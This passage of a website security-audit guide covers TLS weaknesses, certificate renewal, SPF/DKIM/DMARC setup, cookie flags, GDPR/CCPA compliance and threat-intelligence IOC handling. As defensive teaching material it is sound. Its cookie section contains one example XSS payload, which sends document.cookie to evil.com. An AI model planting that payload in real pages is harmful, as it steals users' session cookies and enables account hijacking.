  ❌ Future sessions vulnerable (key must be replaced)

Common SSL/TLS Vulnerabilities

1. POODLE (Padding Oracle On Downgraded Legacy Encryption)

Vulnerability: SSL 3.0 CBC mode cipher vulnerability
Fix: Disable SSL 3.0 entirely

2. Heartbleed (CVE-2014-0160)

Vulnerability: OpenSSL memory leak (critical data exposure)
Fix: Update OpenSSL to 1.0.1g or later

3. BEAST (Browser Exploit Against SSL/TLS)

Vulnerability: TLS 1.0 CBC cipher vulnerability
Fix: Disable TLS 1.0, use TLS 1.2+

4. CRIME / BREACH (Compression Attacks)

Vulnerability: TLS compression leaks secrets
Fix: Disable TLS compression, minimize dynamic secrets in responses

Step 3.4: Certificate Generation & Renewal

Tool: Certificate CSR Generator

Certificate Signing Requests (CSRs) are required when requesting certificates from CAs.

CSR Generation Features

1. Interactive CSR Builder

Certificate Information:
  Common Name (CN): example.com
  Organization (O): Example Corporation
  Organizational Unit (OU): IT Department
  Locality (L): San Francisco
  State (ST): California
  Country (C): US

Subject Alternative Names:
  - www.example.com
  - api.example.com

Key Parameters:
  Algorithm: RSA
  Key Size: 2048 bits

Generate: [Private Key + CSR]

2. Format Conversion

Input Format: PEM
Output Formats:
  ☐ PEM (Apache, Nginx)
  ☐ DER (Java, Windows)
  ☐ PFX/P12 (IIS, Exchange)
  ☐ P7B (PKCS#7 certificate chain)

3. Certificate Chain Verification

Upload your certificate and intermediates to verify proper chain configuration:

Chain Verification:
  ✓ Root CA: DigiCert Global Root G2 (Trusted)
  ✓ Intermediate: DigiCert TLS RSA SHA256 2020 CA1
  ✓ Leaf: example.com

All certificates valid and properly ordered

Certificate Renewal Best Practices

According to SSL Dragon's Best Practices, organizations should:

  1. Renew at least yearly - Shorter validity = faster revocation response
  2. Generate new private keys - Reusing old keys increases compromise risk
  3. Use automation - Let's Encrypt with ACME protocol, cloud provider APIs
  4. Test in staging first - Verify renewal process before production
  5. Monitor expiration - Set alerts at 90, 60, 30, 7 days before expiration

Automated Renewal Example (Let's Encrypt with Certbot):

# Install Certbot
apt-get install certbot python3-certbot-nginx

# Obtain certificate
certbot --nginx -d example.com -d www.example.com

# Automatic renewal (cron job runs twice daily)
0 */12 * * * certbot renew --quiet

Step 3.5: SSL/TLS Stage Output

After 30-40 minutes of SSL/TLS analysis, you should have:

  • Certificate Health Report

  • Certificate chain validation (root, intermediate, leaf)

  • Expiration timeline (renewal schedule)

  • Key strength assessment (algorithm, bit length)

  • SAN coverage verification

  • Protocol & Cipher Assessment

  • TLS version support (1.2, 1.3 enabled; 1.0, 1.1 disabled)

  • Cipher suite security (PFS enabled, weak ciphers removed)

  • Vulnerability scan (Heartbleed, POODLE, BEAST, etc.)

  • Certificate Transparency Monitoring

  • Unauthorized certificate detection

  • Wildcard certificate inventory

  • CT monitoring alerts configured

  • Remediation Roadmap

Critical (This Week):
  ☐ Renew certificate expiring in 12 days
  ☐ Disable TLS 1.0 and TLS 1.1
  ☐ Remove weak cipher suites

High Priority (This Month):
  ☐ Enable TLS 1.3
  ☐ Implement OCSP stapling
  ☐ Install missing intermediate certificate
  ☐ Set up CT monitoring alerts

Medium Priority (This Quarter):
  ☐ Upgrade to 4096-bit RSA keys
  ☐ Implement automated certificate renewal
  ☐ Add CAA DNS records

Next Steps: Proceed to Stage 4: Email Security & Authentication to prevent spoofing and phishing.


Stage 4: Email Security & Authentication (30-45 minutes)

Email is the #1 attack vector for phishing, business email compromise (BEC), and credential theft. According to Email on Acid's 2025 authentication protocols guide, all senders must now use email authentication, and bulk senders require SPF, DKIM, and DMARC. Without these protocols, your domain is vulnerable to spoofing attacks—attackers can send emails appearing to come from your organization.

In 2025, Gmail and Yahoo enforce strict requirements: bulk senders (5,000+ emails/day) MUST implement all three authentication methods or face delivery failures.

Step 4.1: Email Authentication Validation

Tool: Email Authentication Validator

This tool validates SPF, DKIM, and DMARC records and provides security grading.

Understanding the Email Authentication Trinity

1. SPF (Sender Policy Framework)

SPF tells receiving servers which hosts are authorized to send email for your domain. Anything outside that list fails the check and can be blocked.

Example SPF Record:

v=spf1 include:_spf.google.com include:sendgrid.net ip4:192.0.2.100 ~all

Breakdown:
  v=spf1               - SPF version 1
  include:_spf.google.com  - Authorize Google Workspace servers
  include:sendgrid.net     - Authorize SendGrid email service
  ip4:192.0.2.100          - Authorize specific IP address
  ~all                     - Soft fail for all other senders

SPF Qualifiers:

  • +all - Pass (allow all senders) ❌ NEVER USE
  • ~all - Soft fail (flag suspicious, but deliver) ✓ Recommended
  • -all - Hard fail (reject unauthorized senders) ⚠️ Use with caution
  • ?all - Neutral (no policy) ❌ Ineffective

Why ~all Instead of -all?

According to DMARCLY's implementation guide, using -all can cause receiving servers to reject messages at SMTP transmission instead of evaluating DKIM signatures and DMARC policies. ~all allows DMARC to make the final decision.

Common SPF Errors:

DNS Lookup Limit:

❌ SPF record with 12 DNS lookups (limit is 10)
v=spf1 include:_spf.google.com include:sendgrid.net include:mailchimp.com
       include:zendesk.com include:salesforce.com include:hubspot.com
       include:mailgun.org include:amazonses.com include:outlook.com
       include:constantcontact.com include:activecampaign.com
       include:freshdesk.com ~all

Each include: directive requires a DNS lookup
Total: 12 lookups (exceeds 10-lookup limit)
Result: SPF record INVALID, authentication fails

Fix: Use SPF flattening or consolidate services.

2. DKIM (DomainKeys Identified Mail)

DKIM signs each outgoing message with a private key. The recipient validates it against your DNS public key. A valid signature proves the message wasn't altered and came from your domain.

DKIM DNS Record:

Host: default._domainkey.example.com
Type: TXT
Value: v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC...

Breakdown:
  v=DKIM1   - DKIM version 1
  k=rsa     - RSA encryption
  p=...     - Public key (base64-encoded)

DKIM Signature in Email Header:

DKIM-Signature: v=1; a=rsa-sha256; d=example.com; s=default;
  h=from:to:subject:date;
  bh=base64hash;
  b=signature

Components:
  d=example.com    - Signing domain
  s=default        - Selector (DNS record to query)
  h=from:to:...    - Headers included in signature
  b=signature      - Cryptographic signature

DKIM Best Practices:

According to EasyDMARC's best practices:

  1. Rotate keys every 6 months - Reduces compromise risk
  2. Use 2048-bit keys minimum - 1024-bit keys are deprecated
  3. Multiple selectors - Use different keys for different mail streams
  4. Test before enforcement - Verify signatures with test emails

3. DMARC (Domain-based Message Authentication, Reporting, and Conformance)

DMARC adds the policy layer—if SPF or DKIM fail, DMARC instructs the receiving server whether to deliver, quarantine, or reject the message. It also generates reports so you can see who's trying to use your domain.

Example DMARC Record:

v=DMARC1; p=reject; rua=mailto:[email protected];
ruf=mailto:[email protected]; pct=100;
adkim=s; aspf=s; fo=1

Breakdown:
  v=DMARC1                      - DMARC version 1
  p=reject                      - Policy: reject failures
  rua=mailto:[email protected]  - Aggregate reports destination
  ruf=mailto:forensic@...       - Forensic (failure) reports
  pct=100                       - Apply policy to 100% of messages
  adkim=s                       - Strict DKIM alignment
  aspf=s                        - Strict SPF alignment
  fo=1                          - Forensic reporting options

DMARC Policies:

  • p=none - Monitor only (collect reports, take no action) ✓ Start here
  • p=quarantine - Flag as spam ✓ Intermediate step
  • p=reject - Reject message entirely ✓ Final enforcement

Subdomain Policy:

v=DMARC1; p=reject; sp=quarantine; ...

p=reject     - Reject failures for example.com
sp=quarantine - Quarantine failures for *.example.com

Email Authentication Validator Features

1. Multi-Protocol Validation

Domain: example.com
Scan Date: 2025-01-07 11:00:00 UTC

SPF Record:
  ✓ Record found: v=spf1 include:_spf.google.com ~all
  ✓ Syntax valid
  ✓ DNS lookups: 3/10 (within limit)
  ✓ Qualifier: ~all (soft fail - recommended)

DKIM Records:
  ✓ Selector: default._domainkey
  ✓ Key length: 2048-bit RSA (secure)
  ⚠️ Key age: 18 months (rotation recommended)

DMARC Record:
  ❌ No DMARC record found
  Impact: No policy for SPF/DKIM failures
  Recommendation: Implement DMARC with p=none

2. Security Grading

Email Security Score: C- (62/100)

Breakdown:
  SPF: ✓ Configured (25/25 points)
  DKIM: ✓ Configured (25/25 points)
  DMARC: ❌ Missing (0/25 points)
  Alignment: ⚠️ Not enforced (12/25 points)

Grade Improvement Plan:
  Add DMARC record → Upgrade to B
  Enforce strict alignment → Upgrade to A-
  Rotate DKIM keys → Upgrade to A

3. Identifier Alignment Checking

Email authentication requires identifier alignment—the domain in the From: header must match the domain in SPF/DKIM checks.

Alignment Modes:

  • Relaxed Alignment: mail.example.com aligns with example.com
  • Strict Alignment: Only exact match (example.com = example.com)

Example:

Email From: [email protected]
SPF Domain: mail.example.com
DKIM Domain: example.com

Relaxed Alignment:
  SPF: ✓ Aligned (subdomain match)
  DKIM: ✓ Aligned (exact match)

Strict Alignment:
  SPF: ❌ Not aligned (subdomain mismatch)
  DKIM: ✓ Aligned (exact match)

Step 4.2: Email Configuration Optimization

SPF Record Generation

Tool: SPF Record Generator

Features:

  1. Service Integration Wizard
Select Email Services:
  ✓ Google Workspace (include:_spf.google.com)
  ✓ SendGrid (include:sendgrid.net)
  ✓ Mailchimp (include:servers.mcsv.net)
  ☐ Microsoft 365
  ☐ Amazon SES

Custom IPs:
  + Add IP: 192.0.2.100

Generated SPF:
v=spf1 include:_spf.google.com include:sendgrid.net
       include:servers.mcsv.net ip4:192.0.2.100 ~all

DNS Lookups: 4/10 ✓

2. Automatic DNS Lookup Counter

The tool automatically calculates DNS lookups to prevent exceeding the 10-lookup limit.

3. SPF Flattening for Large Organizations

For organizations with 10+ email services, SPF flattening converts include: directives to IP addresses:

Before Flattening:

v=spf1 include:_spf.google.com include:sendgrid.net
       include:mailchimp.com include:zendesk.com
       include:salesforce.com include:hubspot.com
       include:mailgun.org include:amazonses.com
       include:outlook.com include:constantcontact.com
       include:activecampaign.com include:freshdesk.com ~all

DNS Lookups: 12/10 ❌ EXCEEDS LIMIT

After Flattening:

v=spf1 ip4:64.233.160.0/19 ip4:66.102.0.0/20
       ip4:74.125.0.0/16 ip4:108.177.8.0/21
       ip4:209.85.128.0/17 ip4:216.58.192.0/19 ~all

DNS Lookups: 1/10 ✓

Warning: SPF flattening requires ongoing maintenance as service providers change IPs. Use automated tools or managed services.

DMARC Record Generation

Tool: DMARC Record Generator

Features:

1. Step-by-Step Wizard

Step 1: Policy Selection
  ○ Monitor (p=none) - Recommended for initial deployment
  ○ Quarantine (p=quarantine) - Mark suspicious as spam
  ○ Reject (p=reject) - Block unauthorized senders

Step 2: Reporting Configuration
  Aggregate Reports: [email protected]
  Forensic Reports: [email protected]

Step 3: Alignment Mode
  ○ Relaxed (r) - Subdomain matching allowed
  ○ Strict (s) - Exact domain matching required

Step 4: Percentage Rollout
  Apply policy to: 100% of messages

Generated DMARC Record:
v=DMARC1; p=none; rua=mailto:[email protected];
ruf=mailto:[email protected]; pct=100;
adkim=r; aspf=r; fo=1

2. Preset Templates

Template: Financial Services (Strict Security)
  p=reject; adkim=s; aspf=s; pct=100

Template: E-commerce (Balanced)
  p=quarantine; adkim=r; aspf=r; pct=100

Template: Startup (Monitoring Phase)
  p=none; adkim=r; aspf=r; pct=100

3. Gradual Enforcement Roadmap

According to DMARCLY, don't jump straight to p=reject—use a phased approach:

13-Week DMARC Deployment Plan:

Week 1-4: Monitoring Phase
  Policy: p=none; pct=100
  Action: Collect reports, identify email sources

Week 5-8: Partial Quarantine
  Policy: p=quarantine; pct=25
  Action: Monitor quarantine rate, adjust SPF/DKIM

Week 9-10: Full Quarantine
  Policy: p=quarantine; pct=100
  Action: Verify no legitimate email blocked

Week 11-12: Partial Rejection
  Policy: p=reject; pct=50
  Action: Final validation before full enforcement

Week 13+: Full Rejection
  Policy: p=reject; pct=100
  Action: Monitor reports, continuous improvement

Step 4.3: Email Deliverability Testing

Tool: Email Validator & MX Checker

Beyond authentication, email deliverability depends on proper MX configuration and domain reputation.

MX Record Validation

Example MX Query:

Domain: example.com

MX Records:
  Priority 10: mail1.example.com (192.0.2.10)
  Priority 20: mail2.example.com (192.0.2.20)

✓ Multiple MX records (redundancy)
✓ Priority values configured correctly
✓ All MX hosts resolve to valid IPs
✓ Reverse DNS (PTR) records configured

MX Best Practices:

  1. Multiple MX records - Redundancy if primary fails
  2. Different priority values - Ensures failover order (10, 20, 30)
  3. Reverse DNS (PTR) - Many servers reject mail without PTR records
  4. Same provider for all MX - Avoid mixing Gmail + Microsoft 365 MX records

Disposable Domain Detection

Why This Matters: User registrations with disposable email addresses (temp-mail.org, guerrillamail.com) indicate low-quality signups, spam, or fraud.

Example Check:

Email: [email protected]

Analysis:
  ❌ Disposable email service detected
  Provider: Temp-Mail.org (temporary inbox)
  Lifetime: 10 minutes to 48 hours
  Risk: High (fraud, spam, low-quality signup)

Recommendation: Block disposable domains during registration

Use Cases:

  • SaaS trial signups (prevent abuse)
  • E-commerce registration (fraud prevention)
  • Newsletter subscriptions (engagement quality)

Provider Risk Scoring

Example Analysis:

Email: [email protected]

Provider Analysis:
  ✓ Gmail (Google) - Tier 1 Provider
  Reputation: Excellent
  Spam Filtering: Very Strict
  DMARC Enforcement: Required for bulk senders
  Deliverability: High (with proper authentication)

Recommendation: Ensure SPF, DKIM, DMARC configured

Provider Tiers:

  • Tier 1: Gmail, Outlook, Yahoo (strict filtering, high volume)
  • Tier 2: Corporate domains (configurable filtering)
  • Tier 3: Small ISPs (variable filtering)
  • High-Risk: Disposable, temporary, known spam domains

Step 4.4: Phishing Protection

Tool: Domain Spoofing Detector

We covered this in Stage 1, but it's critical for email security—attackers use spoofed domains to conduct phishing.

Email-Specific Use Case:

Primary Domain: example.com
Email: [email protected]

Phishing Domains Detected:
  ⚠️ support-example.com (Registered 2024-12-20)
  ⚠️ examp1e.com (Registered 2024-11-15)
  ⚠️ example-secure.com (Registered 2024-10-30)

All sending phishing emails impersonating [email protected]

Defense Strategy:

  1. DMARC p=reject - Prevents spoofing of your exact domain
  2. Defensive registration - Register common typos
  3. Brand monitoring - Track newly registered similar domains
  4. User education - Train employees to recognize phishing

Step 4.5: Email Security Stage Output

After 40-45 minutes of email security analysis, you should have:

  • Email Authentication Status

  • SPF record validation (syntax, lookup count, qualifier)

  • DKIM configuration (key strength, selector, rotation schedule)

  • DMARC policy assessment (enforcement level, alignment mode)

  • Overall security grade (A-F with improvement plan)

  • Optimized Email Records

  • SPF record generated with service integrations

  • DMARC record with phased enforcement roadmap

  • MX record redundancy verification

  • Deliverability Assessment

  • MX record configuration (priority, redundancy, PTR)

  • Provider risk scoring

  • Disposable domain detection

  • 13-Week Deployment Roadmap

Week 1-4: Foundation
  ☐ Audit current email infrastructure
  ☐ Deploy SPF record (Google, SendGrid, custom IPs)
  ☐ Configure DKIM signing (2048-bit keys)
  ☐ Deploy DMARC with p=none (monitoring)
  ☐ Set up DMARC report collection

Week 5-8: Monitoring & Optimization
  ☐ Analyze DMARC aggregate reports
  ☐ Identify unauthorized email sources
  ☐ Fix SPF/DKIM failures for legitimate services
  ☐ Escalate to p=quarantine at 25%

Week 9-12: Gradual Enforcement
  ☐ Increase quarantine to 100%
  ☐ Monitor quarantine rate (target: <1% false positive)
  ☐ Rotate DKIM keys
  ☐ Begin p=reject at 50%

Week 13+: Full Protection
  ☐ Enforce p=reject at 100%
  ☐ Monitor reports weekly
  ☐ Quarterly DKIM key rotation
  ☐ Continuous improvement

Next Steps: Proceed to Stage 5: Privacy & Compliance Analysis for GDPR/CCPA verification.


Stage 5: Privacy & Compliance Analysis (20-30 minutes)

Privacy regulations have exploded in 2025. According to Transcend's cookie consent guide, over 20 U.S. states now have comprehensive privacy laws similar to GDPR and CCPA. GDPR enforcement is tighter than ever, with agencies taking a tougher stance on misleading cookie consent banners. Non-compliance risks hefty fines—up to €20 million or 4% of global revenue under GDPR.

Step 5.1: Cookie & Tracking Analysis

Tool: Cookie Analyzer

HTTP cookies are essential for modern web applications (session management, personalization, analytics)—but they also pose privacy and security risks when improperly configured.

Cookie Attributes Analysis

Example Cookie:

Set-Cookie: sessionId=abc123;
            Domain=example.com;
            Path=/;
            Expires=Wed, 31 Dec 2025 23:59:59 GMT;
            Secure;
            HttpOnly;
            SameSite=Strict

1. Secure Flag

Purpose: Cookie only sent over HTTPS connections.

✓ GOOD: Secure flag set
  Cookie: sessionId=abc123; Secure

❌ BAD: No Secure flag (HTTP transmission allowed)
  Cookie: sessionId=abc123
  Risk: Session hijacking via man-in-the-middle attack

Recommendation: All cookies should have Secure flag in 2025 (HTTPS is mandatory).

2. HttpOnly Flag

Purpose: Cookie inaccessible to JavaScript (prevents XSS theft).

✓ GOOD: HttpOnly flag set
  Cookie: sessionId=abc123; HttpOnly
  Result: document.cookie cannot read this cookie

❌ BAD: No HttpOnly flag
  Cookie: sessionId=abc123
  Risk: XSS attack steals session cookie
  Attack: <script>fetch('https://evil.com?c='+document.cookie)</script>

Recommendation: Session cookies must have HttpOnly flag.

3. SameSite Attribute

Purpose: Controls cross-site cookie transmission (CSRF protection).

Values:

  • SameSite=Strict - Never sent with cross-site requests ✓ Most secure
  • SameSite=Lax - Sent with top-level navigation (GET only) ✓ Balanced
  • SameSite=None; Secure - Sent with all requests ⚠️ Requires justification

Example:

Cookie: sessionId=abc123; SameSite=Strict

User clicks link from evil.com → example.com
Result: sessionId cookie NOT sent (Strict policy)

User navigates directly to example.com
Result: sessionId cookie sent (same-site request)

Use Cases:

  • Strict: Session cookies, authentication tokens
  • Lax: Shopping carts, preferences (needs cross-site GET)
  • None: Third-party embeds (ads, social widgets) - requires Secure flag

4. Session vs. Persistent Cookies

Session Cookies:

Set-Cookie: sessionId=abc123; Secure; HttpOnly; SameSite=Strict

No Expires or Max-Age → Deleted when browser closes

Persistent Cookies:

Set-Cookie: userId=user123; Expires=Wed, 31 Dec 2025 23:59:59 GMT; Secure

Expires set → Cookie survives browser restart

Privacy Implication: Persistent cookies enable long-term tracking. GDPR requires consent for non-essential persistent cookies.

Cookie Analyzer Features

1. Cookie Inventory

Domain: example.com
Cookies Found: 12

First-Party Cookies (7):
  ✓ sessionId (Secure, HttpOnly, SameSite=Strict) - Session management
  ✓ csrfToken (Secure, SameSite=Strict) - CSRF protection
  ✓ preferences (Secure, Expires: 1 year) - User preferences
  ⚠️ userId (Missing HttpOnly) - User identifier

Third-Party Cookies (5):
  ⚠️ _ga (Google Analytics) - Analytics tracking
  ⚠️ _fbp (Facebook Pixel) - Marketing tracking
  ⚠️ __Secure-1PSID (Google) - Advertising
  ❌ adId (Missing Secure flag) - Ad network
  ❌ tracking (No SameSite, No Secure) - Unknown tracker

2. Security Scoring

Cookie Security Score: C+ (72/100)

Issues Detected:
  ❌ Critical: 1 cookie missing Secure flag
  ⚠️ Warning: 2 session cookies missing HttpOnly
  ⚠️ Warning: 5 third-party tracking cookies (consent required)

Compliance:
  ⚠️ GDPR: Cookie consent banner detected but incomplete
  ⚠️ CCPA: Missing "Do Not Sell" link

3. Third-Party Tracker Identification

Third-Party Trackers:

Analytics (2):
  - Google Analytics (_ga, _gid)
  - Hotjar (_hjSessionUser, _hjSession)

Marketing (3):
  - Facebook Pixel (_fbp)
  - Google Ads (_gcl_au)
  - LinkedIn Insight (_lipt)

Consent Required: Yes (non-essential cookies)

Step 5.2: GDPR Compliance Scanning

Tool: GDPR Compliance Checker

GDPR (General Data Protection Regulation) applies to any website processing EU residents' data—regardless of where the company is located.

GDPR Requirements

1. Cookie Consent Mechanism

GDPR requires "prior opt-in"—cookies cannot be set until users say "yes."

Compliant Cookie Banner:

✓ GOOD: Explicit consent required

  [Cookie Banner]
  We use cookies for analytics and personalization.

  [ Reject All ]  [ Accept Necessary Only ]  [ Accept All ]
  [ Cookie Settings ]

  Before user clicks:
    ✓ Only essential cookies loaded (session, CSRF)
    ✓ Analytics cookies NOT loaded
    ✓ Marketing cookies NOT loaded

Non-Compliant Examples:

❌ BAD: Pre-ticked boxes
  [✓] Analytics cookies
  [✓] Marketing cookies
  Reason: Consent not freely given

❌ BAD: "Continue browsing = consent"
  "By using this site, you consent to cookies"
  Reason: Not explicit opt-in

❌ BAD: No "Reject All" option
  [ Accept All ] [ Cookie Settings ]
  Reason: Consent not freely given (unequal choices)

2. Privacy Policy Detection

GDPR requires a privacy policy explaining data collection, processing, and rights.

Required Elements:

Privacy Policy Checklist:
  ✓ Data controller identity and contact info
  ✓ Types of data collected (personal, behavioral, etc.)
  ✓ Legal basis for processing (consent, contract, legitimate interest)
  ✓ Data retention periods
  ✓ Third-party data sharing (analytics, ads, CRMs)
  ✓ User rights (access, deletion, portability, objection)
  ✓ Contact for data subject requests (DSAR)
  ✓ Cookie policy (types, purposes, opt-out)

3. Third-Party Tracker Disclosure

Example Scan:

Third-Party Trackers Detected:

Google Analytics:
  ✓ Disclosed in privacy policy
  ✓ Data processing agreement (DPA) in place
  ⚠️ Consent required before loading

Facebook Pixel:
  ❌ Not disclosed in privacy policy (GDPR violation)
  ❌ Loaded before consent obtained
  Impact: €10M - €20M fine potential

Hotjar:
  ✓ Disclosed in privacy policy
  ❌ Consent obtained after script loaded
  Fix: Move script load after consent

4. Data Processing Disclosure

Data Processing Activities:

User Registration:
  ✓ Legal basis: Contract (account creation)
  ✓ Data collected: Name, email, password hash
  ✓ Retention: Account lifetime + 30 days after deletion

Email Marketing:
  ✓ Legal basis: Consent (opt-in)
  ✓ Data collected: Email, preferences
  ✓ Opt-out mechanism: Unsubscribe link

Analytics:
  ⚠️ Legal basis: Legitimate interest (requires justification)
  ⚠️ Consent mechanism: Required for GDPR compliance

GDPR Checker Features

1. Automated Compliance Scan

Domain: example.com
GDPR Scan Date: 2025-01-07 12:00:00 UTC

Compliance Score: D+ (58/100)

Critical Issues (3):
  ❌ Cookies set before consent obtained
  ❌ Facebook Pixel not disclosed in privacy policy
  ❌ Missing "Do Not Track" respect

Warnings (5):
  ⚠️ Privacy policy last updated 2 years ago
  ⚠️ No data retention schedule documented
  ⚠️ Cookie banner missing "Reject All" button
  ⚠️ Third-party scripts loaded synchronously
  ⚠️ No consent management platform detected

Passed Checks (7):
  ✓ Privacy policy accessible
  ✓ Cookie policy present
  ✓ Contact information for data requests
  ✓ SSL/TLS encryption enabled
  ✓ Secure cookie flags configured
  ✓ No sensitive data in URLs
  ✓ Email opt-out mechanism present

2. Compliance Gap Analysis

GDPR Compliance Gaps:

Priority 1 (Fix Immediately):
  ☐ Implement prior consent for non-essential cookies
  ☐ Disclose all third-party trackers in privacy policy
  ☐ Add "Reject All" button to cookie banner

Priority 2 (Fix This Month):
  ☐ Update privacy policy (last updated > 1 year)
  ☐ Document data retention schedules
  ☐ Implement consent management platform
  ☐ Defer third-party script loading until consent

Priority 3 (Continuous Improvement):
  ☐ Quarterly privacy policy reviews
  ☐ Annual data protection impact assessment (DPIA)
  ☐ Staff GDPR training

Step 5.3: robots.txt Security Review

Tool: robots.txt Analyzer

We covered this in Stage 1, but from a privacy perspective, robots.txt can leak sensitive information.

Privacy-Related Issues:

User-agent: *
Disallow: /users/
Disallow: /accounts/
Disallow: /private/
Disallow: /personal-data/

⚠️ PRIVACY CONCERN:
Revealing paths like /users/ and /personal-data/ indicates
presence of user data, potentially violating privacy-by-design
principles.

Recommendation: Don't rely on robots.txt for privacy—use
authentication and access controls.

Step 5.4: CCPA Compliance (California Consumer Privacy Act)

Key Differences from GDPR:

RequirementGDPRCCPA
Consent ModelOpt-in before cookiesOpt-out after cookies
ScopeEU residentsCalifornia residents
Cookie BannerRequired"Do Not Sell" link required
Data RightsAccess, deletion, portabilityAccess, deletion, opt-out of sale

CCPA Implementation:

CCPA Compliance Checklist:

✓ "Do Not Sell or Share My Personal Information" link in footer
✓ Link accessible from every page
✓ Opt-out mechanism functional (stops third-party sharing)
✓ Privacy policy discloses data selling/sharing practices
✓ Honors Global Privacy Control (GPC) browser signal
⚠️ No GPC detection implemented

GPC (Global Privacy Control):

User Browser Header: Sec-GPC: 1

Compliant Response:
  if (request.headers['Sec-GPC'] === '1') {
    // Don't sell/share user data
    // Don't load third-party trackers
    // Log opt-out preference
  }

Step 5.5: Privacy & Compliance Stage Output

After 25-30 minutes of privacy analysis, you should have:

  • Cookie Security Assessment

  • Cookie inventory (first-party, third-party)

  • Security flag analysis (Secure, HttpOnly, SameSite)

  • Third-party tracker identification

  • GDPR Compliance Scorecard

  • Cookie consent mechanism validation

  • Privacy policy completeness check

  • Third-party disclosure verification

  • Compliance gap analysis with remediation priorities

  • CCPA Compliance Verification

  • "Do Not Sell" link presence

  • GPC signal detection

  • Privacy policy disclosure

  • Remediation Priority List

Critical (This Week):
  ☐ Implement prior consent for non-essential cookies
  ☐ Add "Reject All" button to cookie banner
  ☐ Disclose all third-party trackers in privacy policy
  ☐ Stop loading analytics/marketing before consent

High Priority (This Month):
  ☐ Update privacy policy (data retention, rights, contacts)
  ☐ Implement GPC signal detection
  ☐ Add "Do Not Sell" link (CCPA)
  ☐ Configure consent management platform (Cookiebot, OneTrust)

Medium Priority (This Quarter):
  ☐ Conduct Data Protection Impact Assessment (DPIA)
  ☐ Document data retention schedules
  ☐ Quarterly privacy policy reviews
  ☐ Staff training on GDPR/CCPA

Next Steps: Proceed to Stage 6: Threat Intelligence & Attack Surface Management for active threat monitoring.


Stage 6: Threat Intelligence & Attack Surface Management (15-25 minutes)

Security audits don't end at configuration checks—you must monitor active threats targeting your infrastructure. This stage focuses on collecting threat intelligence, identifying indicators of compromise (IOCs), and setting up continuous monitoring.

Step 6.1: Threat Intelligence Collection

Tool: IOC Extractor

Indicators of Compromise (IOCs) are forensic artifacts indicating potential intrusions—IP addresses, domains, URLs, file hashes, and email addresses observed in attacks.

IOC Extraction Features

1. Pattern Recognition

The tool automatically extracts 8 types of indicators from threat reports, logs, or intelligence feeds:

Input: Threat Intelligence Report

We observed the threat actor using IP 185.220.101.34 to communicate
with their C2 server at evil-c2.tk. Phishing emails originated from
[email protected] with subject "Urgent: Password Reset" and
contained links to http://phishing-site.com/login. The malware payload
had SHA-256 hash e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855.

Extracted IOCs:
  IP Addresses:
    - 185.220.101.34 (C2 server)

  Domains:
    - evil-c2.tk (C2 domain)
    - phishing-site.com (Phishing infrastructure)

  URLs:
    - http://phishing-site.com/login (Credential harvesting)

  Email Addresses:
    - [email protected] (Phishing sender)

  File Hashes (SHA-256):
    - e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

2. Multi-Format Support

Input formats:

  • Plain text threat reports
  • CSV/JSON threat feeds
  • SIEM logs (Splunk, ELK, QRadar)
  • Email headers (phishing analysis)
  • Malware analysis reports

3. Export for SIEM Integration

Export Format: JSON (STIX 2.1 Compatible)

{
  "indicators": [
    {
      "type": "ipv4-addr",
      "value": "185.220.101.34",
      "labels": ["malicious-activity", "c2-server"],
      "confidence": "high"
    },
    {
      "type": "domain-name",
      "value": "evil-c2.tk",
      "labels": ["malicious-activity", "c2-domain"],
      "confidence": "high"
    }
  ]
}

Step 6.2: Threat Intelligence Aggregation

Tool: Threat Intelligence Feed Aggregator

Multiple threat intelligence feeds provide different coverage—aggregating them creates comprehensive protection.

Feed Aggregation Features

1. Multi-Source Integration

Supported Feeds:

Open-Source Feeds (Free):
  - AlienVault OTX (Open Threat Exchange)
  - Abuse.ch (URLhaus, ThreatFox, MalwareBazaar)
  - Emerging Threats (ET Intelligence)
  - CISA (Cybersecurity & Infrastructure Security Agency)

Commercial Feeds (Paid):
  - Recorded Future
  - ThreatConnect
  - Anomali ThreatStream
  - FireEye iSIGHT

2. Deduplication & Enrichment

Example Aggregation:

Input Feeds:
  Feed 1 (AlienVault): 185.220.101.34 (malware C2)
  Feed 2 (Abuse.ch): 185.220.101.34 (phishing)
  Feed 3 (ET): 185.220.101.34 (botnet)

Aggregated Output:
  IP: 185.220.101.34
  Threat Types: malware-c2, phishing, botnet
  First Seen: 2024-12-15
  Last Seen: 2025-01-06
  Confidence: High (3 sources)
  Blocklist: Yes

3. Investigation Checklist Generation

Threat Investigation: Suspicious Activity from 185.220.101.34

Checklist:
  ☐ Search firewall logs for 185.220.101.34 connections
  ☐ Search proxy logs for evil-c2.tk DNS queries
  ☐ Search email logs for [email protected]
  ☐ Search endpoint logs for malware hash
  ☐ Check SIEM for related indicators
  ☐ Interview users who accessed phishing-site.com
  ☐ Block IP at perimeter firewall
  ☐ Add domain to DNS blocklist
  ☐ Update endpoint detection rules

4. Export Collections for SIEM

SIEM Ingestion Formats:

  • CSV - Excel, Splunk, QRadar
  • JSON - ELK Stack, Graylog
  • STIX 2.1 - MISP, OpenCTI, ThreatConnect
  • YARA Rules - Endpoint detection (CrowdStrike, Carbon Black)

Step 6.3: Active Threat Detection

IP Reputation Monitoring

Tool: IP Risk Checker

Monitor your own infrastructure for reputation issues—if your web servers are flagged on blocklists, email deliverability and customer trust suffer.

What to Monitor:

Weekly IP Reputation Check:

Your Web Server: 192.0.2.100
  ✓ No blocklist matches
  ✓ Email reputation: Clean
  ✓ No recent abuse reports

Your Mail Server: 192.0.2.200
  ⚠️ Listed on 1 blocklist (UCEPROTECT Level 1)
  Reason: Spam complaint from [email protected]
  Impact: Email delivery to some providers blocked
  Remediation: Investigate spam source, request delisting

Automated Monitoring:

  • Daily IP reputation checks
  • Email alerts on new blocklist additions
  • Historical tracking (reputation trends over time)
  • Incident response playbook for delisting

Security Headers Regression Testing

Tool: Security Headers Analyzer

Configuration drift happens—security headers can be accidentally removed during deployments.

Quarterly Regression Test:

Site: example.com
Last Scan: 2024-10-07 (3 months ago)
Current Scan: 2025-01-07

Regression Detected:
  ❌ Content-Security-Policy: WAS present → NOW missing
  ❌ HSTS max-age: WAS 31536000 → NOW 86400 (reduced from 1 year to 1 day)

Grade Change: A → C-

Investigation Required:
  - Review recent deployments
  - Check CDN/load balancer configuration
  - Restore CSP and HSTS policies

Automated Monitoring:

  • Weekly header checks
  • Alert on grade degradation
